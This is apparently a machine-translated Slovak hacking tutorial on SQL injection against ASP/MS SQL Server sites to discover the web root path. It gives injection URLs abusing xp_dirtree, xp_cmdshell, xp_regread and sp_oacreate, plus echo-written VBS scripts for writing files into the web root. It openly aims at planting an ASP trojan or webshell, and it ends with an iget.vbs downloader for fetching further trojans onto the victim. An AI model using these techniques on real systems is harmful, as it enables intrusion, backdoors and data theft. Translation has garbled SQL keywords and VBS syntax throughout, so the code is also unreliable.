SQL injekcia na získanie kompletnej cesty webovej stránky
Ak má webová stránka len 80 portov, nasledujúce metódy budú užitočnejšie
Takmer všetky metódy použité v ňom nie sú tie, ktoré som objavil, a článok vždy obsahuje nejaké osobné skúsenosti a zručnosti pri injekcii
Existujú 4 metódy (dnes už známe)
Prvá metóda:
Toto <怪异的SQL注入>je metóda predstavená v < >
Používajúc xp_dirtree sqlserveru, najprv sa porozprávajme o metóde a potom o jej výhodách a nevýhodách (niektoré doplnky sú urobené na základe pôvodného textu)
Vytváraj tabuľky
Vyhlásenie:http://www.xxxxx.com/down/list.asp?id=1;create Table Dirs(paths varchar(1000))--
Späť: Normálne informácie! Znamená to, že stôl je úspešne vytvorený! Ideš!
(Ten, ktorý som postavil, je o niečo väčší ako originál, pretože som narazil na súbor s dlhým názvom a vymazal som ID, pretože je zbytočný)
Vyhlásenie:http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Exec master.dbo.xp_dirtree 'C:\' --
Vrátenia: Bežné informácie. To znamená, že všetky adresáre napísané na disk C sú úspešné! Super! Ďalším krokom je získať taxameter! Poruš ho a vyjdi von. (Zdá sa, že existuje len jeden spôsob, ako to urobiť)
Vyhlásenie:http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z Dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastáva pri konverzii hodnoty varchar '@Inetpub' na stĺpec s dátovým typom int.
Potom sa názvy adresárov v tabuľke postupne vytrhnú!
Vyhlásenie:http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z
Smery, kde cesty nie sú v( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaxická chyba nastala pri konverzii varcharovej hodnoty 'test' na stĺpec s dátovým typom int.
Potom sa názvy adresárov v tabuľke postupne vytrhnú!
Dobre, pokračujme
Vyhlásenie:http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z
Cesty tam, kde cesty nie sú v ('@Inetpub','test'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastáva pri konverzii varcharovej hodnoty 'haha' na stĺpec s dátovým typom int.
Potom sa názvy adresárov v tabuľke postupne vytrhnú!
Dobre, mal by si vedieť, ako na to, haha, stačí pridať názov tabuľky, ktorú dostaneš, do tej zátvorky, napíš koľko chceš,
Malý trik:
Niekedy to zistíte, keď je vstup podobný
http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z Dirs)-
Namiesto zobrazenia chyby sa webová stránka zobrazí normálne
Točí sa ti hlava, nebuď nervózny
Pozrite sa na 0<> (vyberte top 1 cesty z dirs), aby ste ukázali, že návrat je číslo,
Haha, vyskúšaj to a uvidíš, koľko to stojí
100>(vyberte top 1 cesty z Dirs)
Späť do normálu
Haha, s touto metódou môžete rýchlo hádať viac alebo menej
Dobre, pokračujme
Napríklad, keď sa objaví
59=(vyberte top 1 cesty z dirs)
Návrat do normálu,
OK, meno je 59
Vstúpte nasledovne
http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z
Cesty tam, kde cesty nie sú v ('59'))--
Nezabudnite dať úvodzovky
Nasledujúca metóda je rovnaká ako originál
Je tu aj problém
Niekedy, keď zadám 59 vyššie uvedenou metódou, zistím, že ďalší priečinok je stále 59
Čo sa deje?
Hehe, neviem, či si si všimol, že 059 a 59 sú rovnaké?
Preto haha,
http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z
Smery tam, kde cesty nie sú v( '059'))--
Zistil som, že sa zobrazuje názov ďalšieho priečinka, dobre
Analýza výhod a nevýhod:
Výhodou je, že ho môžu používať všetci používatelia sqlserveru, pretože xp_dirtree aplikuje povolenie PUBLIC,
Nevýhodou je, že zobrazuje názvy všetkých priečinkov v adresári a usporiadanie sa zdá byť v žiadnom poradí, stručne povedané, je bolestivé nájsť požadovaný priečinok v tisícoch alebo desaťtisícoch priečinkov.
A viete, že mať ten priečinok nie je zaručené, že bude v koreňovom adresári, čo je naozaj bolestivé, často to závisí od šťastia a výdrže.
Prajem ti veľa úspechov
Metóda 2:
Využite xp_cmdshell
Haha, každý to musí poznať, poviem to stručne
Vytváraj tabuľky
Vyhlásenie:http://www.xxxxx.com/down/list.asp?id=1;create Table Dirs(paths varchar(1000))--
Späť: Normálne informácie! Znamená to, že stôl je úspešne vytvorený! Ideš!
(Ten, ktorý bol postavený, je o niečo väčší ako originál, pretože som narazil na súbor s dlhým názvom a vymazal som ten id, pretože je zbytočný.)
Vyhlásenie:http://www.xxxxx.com/down/list.asp?id=1;insertdirs executive master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Vrátenia: Bežné informácie. To znamená, že všetky adresáre napísané na disk C sú úspešné! dir c:\ /B/D sa tu používa, haha, ak neviete, čo robí /B/D, skúste zistiť, čo robí
Vyhlásenie:http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z Dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastáva pri konverzii hodnoty varchar '@Inetpub' na stĺpec s dátovým typom int.
Potom sa názvy adresárov v tabuľke postupne vytrhnú!
Vyhlásenie:http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z
Smery, kde cesty nie sú v( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaxická chyba nastala pri konverzii varcharovej hodnoty 'test' na stĺpec s dátovým typom int.
Potom sa názvy adresárov v tabuľke postupne vytrhnú!
Metóda je rovnaká ako vyššie, takže o nej nebudem hovoriť
Niekedy môžeme niečo urobiť aj s nasledujúcimi dvoma rozšíreniami
1) Môžeme využiť xp_availablemedia na získanie všetkých prúdových diskov a uloženie ich do tabuľky dirs:
5 ; insert dirs exec master.dbo.xp_availablemedia; --
Zoznam diskov a súvisiace informácie môžeme získať dotazovaním na obsah temp
(2) Môžeme použiť xp_subdirs na získanie zoznamu podadresárov a uloženie ich do tabuľky dirs:
5 ; vložte do dirs exec master.dbo.xp_subdirs 'c:\' ; --
Analýza výhod a nevýhod:
Samozrejme, toto nebude xp_dirtree situácii, keď sú všetky adresáre pospájané, zobrazí sa iba adresár prvej úrovne, ktorý je oveľa jednoduchšie nájsť.
Nevýhody sú tiež zrejmé, iba SA má toto povolenie a je tiež možné, že administrátor túto príponu vymazal (veď je príliš silná).
Metóda 3:
Tento prístup je dobrý
Nasleduje pôvodný text
Premýšľal som o použití programu adsutil.vbs, ktorý som spustil
a'; Výkonný majster.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Nie je to dlhé? Cez ňu môžeme nastaviť prvú virtuálnu webovú stránku v IIS (vrátane samotného adresára, kde sa nachádza, samozrejme)
Import do a.txt
Predvolená poloha a.txt je samozrejme c:\winnt\system32, čo vlastne nie je problém, ale keď narazíte na administrátora, ktorý nastavuje adsutil.vbs
Vymažte to alebo dajte inde
Nemôžeme s tým nič urobiť (nemôžeš si napísať príkaz echo)
Krok 2: Použite príkaz echo na napísanie nasledujúceho kódu do c:\, čo nie je veľa
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
rob, kým nie je fil.atendofstream
nr=fil.readline
ak left(nr,4)="Cesta" potom
Pa=stredný(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
exit do
koniec ak
slučka
Set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Strih tu-------------------------------------
Krok 3: Samozrejme, je potrebné vykonať read.vbs, aby sme mohli čítať obsah v aa.txt a nájsť skutočnú cestu webstránky
Potom napíšte súbor s názvom dd.asp do koreňového adresára webovej stránky a budete vedieť, či to môžete úspešne vyskúšať
vykonaťhttp://x.x.x.x/dd.asp
Vrátenia: \xxx
Haha, je to dobrý spôsob,
Avšak pôvodný text má zrejme určité problémy
Je to tak
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Chyba nastáva, keď sú odoslané dve vety
Tak sme vymysleli znamienko plus, ktoré má rovnakú funkciu ako &
A o čom písať dd.asp? Napíš otcovi, haha
Haha, zmenil som to
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
rob, kým nie je fil.atendofstream
nr=fil.readline
ak left(nr,4)="Cesta" potom
Pa=stredný(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
exit do
koniec ak
slučka
Set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------strih tu--------------------------------------
Keďže časové číslo sa pri odosielaní v prehliadači konvertuje na medzeru, mali by ste tiež nastaviť
Stane sa to %2B, dobre, malo by to byť v poriadku, takto
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
rob, kým nie je fil.atendofstream
nr=fil.readline
ak left(nr,4)="Cesta" potom
Pa=stredný(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
exit do
koniec ak
slučka
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------strih tu--------------------------------------
Ak zistíme, že 1 tam nie je, môžeme sa stať 2, 3, 4...........
a'; Výkonný majster.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Táto metóda však môže byť použitá iba pod Windows 2000, pretože adresy novo vytvorených webových stránok pod 2003 nie sú usporiadané podľa 1234, zdá sa, že sú generované náhodne, a porovnal som niekoľko pod 2003
nebola zistená žiadna pravidelnosť.
Analýza výhod a nevýhod:
Rovnako xp_cmdshell Nie každý používateľ ho môže používať! Ďalším problémom je, že súbor adsutil nemusí nevyhnutne existovať, alebo nie je nevyhnutne v tejto ceste, hoci ho môžete použiť, ak ste to zamýšľali
Echo píše jeden (haha, starý aj starý) a ďalšia otázka je, čo ak je na hostiteľovi veľa stránok? Stretol som hostiteľa s deviatimi stránkami a len ôsma je užitočná
Áno, slabé, ťažko má niekto trpezlivosť vydržať takto, možno sa to už dávno zrútilo. Tiež sa nedá použiť v roku 2003!
Ale úprimne, táto metóda je naozaj dobrá
Metóda 4:
Táto metóda spočíva v čítaní cesty z registra cez xp_regread atď
Nasledujúce sa odporúča na získanie cesty k webovej stránke (čítanie registra cez uložené procedúry):
Využitie vstavaných uložených procedúr xp_regread (čítanie registrového kľúča, povolenie verejné):
Vyhlásenie: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar(20) Výkonný majster.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , hodnoty=@test VÝSTUP vložiť do ciest
(path) hodnoty(@test)
Predvolená cesta IIS v registri HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Použite pole burst na prečítanie hodnoty databázy:
Príkaz: http://www.xxx.com/list.asp?classid=1 a 0<>(vyberte top 1 cesty z newtable)--return: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] konvertuje hodnotu varchar E:\www,,201 na dátový typ int
stĺpček.
To znamená, že adresár webovej stránky je v E:\www, a potom môžete použiť FSO na priamy zápis do trójskeho koňa ASP
Čo ak nemôžete získať webový adresár? Musíte hádať, či webová stránka používa predvolený WEB alebo doménu ako WEB.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'
Vytvorte virtuálny adresár E pod predvolenou WEBOVOU stránkou, ktorý ukazuje na E: pod disk.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e prehliadanie'
Je dobré pridať atribúty prehliadania do virtuálneho adresára e. Otvorte si virtuálnu službu pre seba. Keď myslím na tie cesty adresárov webových stránok, mám takmer zlomenú hlavu. Teraz som otvoril oči. To je WEBSHELL, ktorý používa MS
SQL je koniec našej práce a ďalšia práca by mala byť tvoja.
Haha, metóda je dobrá, prečítajte si to cez registračný formulár, pohodlné a rýchle!
Analýza výhod a nevýhod:
Výhodou je, samozrejme, že je to pohodlné a rýchle. Nevýhodou je, že vidíte len trasu predvolenej IIS stránky, a ak už nie je predvolenou stránkou, nedá sa nič robiť (sledoval som ju pomocou regsnape), ak je to pod 2003
To znamená, že ani predvolená cesta po stránke sa nezobrazí! V bolesti
Mimochodom, existujú aj iné spôsoby, ako pokračovať v narušení okrem hľadania cesty na webstránku, napríklad nahraním bounce trójskeho koňa cez tftp alebo napísaním iget.vbs na stiahnutie požadovaného dongdongu
Kód iget.vbs je nasledovný:
---------štart----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------koniec-----------
Doplnok k tomuto článku:
Nedávno som zistil, že moje pochopenie pokynov predsedu Maa nebolo dostatočne hlboké, a rád by som tu dodal
V skutočnosti vyššie uvedené metódy vôbec netreba porovnávať, xp_dirtree sú najlepšie, pokiaľ stačí táto jedna metóda
Len preto, že som bol príliš ..............
Dnes opäť odhalím tajomstvo xp_dirtree
Dobre, poďme na výkonného majstra: xp_dirtree'd:/test'
Povedzme, že máme dva priečinky v teste, test1 a test2, a test3 v test1
Výsledky ukazujú
Hĺbka podadresára
Test1 1
TEST3 2
TEST2 1
Haha, zistil som, že séria adresára nemá žiadnu hĺbku
Dobre, viem, čo robiť
http://www.xxxxx.com/down/list.asp?id=1;create Table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 ciest z dirs, kde id=1)-
Pokiaľ je pridané id=1, ide o adresár prvej úrovne.
|